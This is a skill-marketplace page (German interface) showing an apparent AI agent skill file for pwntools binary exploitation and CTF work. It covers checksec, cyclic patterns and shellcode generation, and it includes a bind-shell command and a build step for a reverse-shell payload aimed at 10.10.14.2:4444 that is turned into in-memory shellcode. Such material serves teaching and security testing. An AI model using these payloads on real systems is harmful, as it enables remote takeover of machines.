Skip to main content

pwntools-binary-exploitation

Use this skill whenever working with binary exploitation, reverse engineering, or CTF challenges involving PwnTools. Trigger for: generating shellcode, analyzing binaries with checksec, creating cyclic patterns for buffer overflows, converting ELF to shellcode, debugging with GDB, disassembling opcodes, or any pwntools-related task. Make sure to use this skill for any binary exploitation workflow, even if the user doesn't explicitly mention 'pwntools' or 'pwn'.

Quellinformationen

Repository
abelrguezr/hacktricks-skills
Letzte Quellaktivität
23. März 2026 um 14:29
Erkannte Sprache von SKILL.md
Englisch
Sterne
23
Forks
10

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

Datei-Explorer
3 Dateien

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
pwntools-binary-exploitation
description
Use this skill whenever working with binary exploitation, reverse engineering, or CTF challenges involving PwnTools. Trigger for: generating shellcode, analyzing binaries with checksec, creating cyclic patterns for buffer overflows, converting ELF to shellcode, debugging with GDB, disassembling opcodes, or any pwntools-related task. Make sure to use this skill for any binary exploitation workflow, even if the user doesn't explicitly mention 'pwntools' or 'pwn'.
# PwnTools Binary Exploitation Helper A skill for working with PwnTools in binary exploitation, reverse engineering, and CTF challenges. ## Quick Start ```bash pip3 install pwntools ``` ## Common Workflows ### 1. Binary Analysis with Checksec Analyze binary protections before exploitation: ```bash pwn checksec <executable> ``` This shows NX, PIE, Stack Canary, RELRO, and other protections. ### 2. Generate Cyclic Patterns for Buffer Overflows Create unique patterns to find offsets in buffer overflows: ```bash # Generate 3000-byte pattern pwn cyclic 3000 # Find offset from pattern fragment pwn cyclic -l faad ``` **Options:** - Alphabet: lowercase chars by default - Pattern length: default 4 - Context: 16, 32, 64-bit, linux, windows ### 3. Assembly and Shellcode Generation **Get opcodes from assembly:** ```bash pwn asm "jmp esp" pwn asm -i <filepath> ``` **Generate shellcode:** ```bash # List available shellcodes pwn shellcraft -l # List shellcodes matching pattern pwn shellcraft -l amd # Generate shellcode in C format pwn shellcraft -f hex amd64.linux.sh # Run shellcode to test pwn shellcraft -r amd64.linux.sh # Create bind shell on specific port pwn shellcraft .r amd64.linux.bindsh 9095 ``` **Shellcode options:** - Avoid bytes: null, newlines, or custom list - Debug: attach GDB to shellcode - Output format: hex, string, C, ELF - Generate as shared library ### 4. Debug with GDB Attach GDB to processes: ```bash # By executable pwn debug --exec /bin/bash # By PID pwn debug --pid 1234 # By process name pwn debug --process bash ``` **Options:** - Context: 16, 32, 64-bit, linux, windows - GDB script to execute - Sysroot path ### 5. Disassemble and Hex Operations **Disassemble opcodes:** ```bash pwn disasm ffe4 ``` **Convert to/from hex:** ```bash # String to hex pwn hex hola # Hex to string pwn unhex 686f6c61 ``` **Hexdump files:** ```bash pwn phd <file> ``` ### 6. ELF to Shellcode Conversion (loader_append) Convert a standalone ELF into raw shellcode that self-maps its segments. Ideal for memory-only loaders (e.g., Android JNI execution). **Workflow:** 1. Build a static, position-independent payload ELF: ```bash musl-gcc -O3 -s -static -o exploit exploit.c \ -DREV_SHELL_IP="10.10.14.2" -DREV_SHELL_PORT="4444" ``` 2. Convert ELF to shellcode using the bundled script: ```bash python scripts/elf_to_shellcode.py ./exploit sc ``` 3. Deliver shellcode to memory loader and execute in-process. **Notes:** - `loader_append` embeds the ELF and emits a loader that mmaps segments - Be explicit about architecture (amd64, arm64, etc.) - Keep payload position-independent - Avoid assumptions about ASLR/NX ### 7. Generate Exploit Template Create a Python template for remote/local exploitation: ```bash pwn template ``` **Options:** - Host, port, user, password - Path to binary - Quiet mode ### 8. Additional Utilities **Disable NX on binary:** ```bash pwn disablenx <filepath> ``` **Compare ELF files:** ```bash pwn elfdiff <file1> <file2> ``` **Update PwnTools:** ```bash pwn update ``` ## Best Practices 1. **Always check protections first** - Use `checksec` before planning exploitation 2. **Use cyclic patterns** - For reliable offset discovery in buffer overflows 3. **Test shellcode locally** - Use `pwn shellcraft -r` before deployment 4. **Be explicit about architecture** - Set context with `context.clear(arch='amd64')` 5. **Keep shellcode position-independent** - Avoid hardcoded addresses 6. **Avoid bad bytes** - Filter nulls, newlines, and other problematic bytes ## Context Settings Always set the appropriate context for your target: ```python from pwn import * context.clear(arch='amd64', os='linux') # or 'windows' context.bits = 64 context.word_size = 8 ``` ## References - [Pwntools Documentation](https://docs.pwntools.com/en/stable/) - [CoRPhone – ELF→shellcode pipeline for Android](https://github.com/0xdevil/corphone)
Auf GitHub ansehen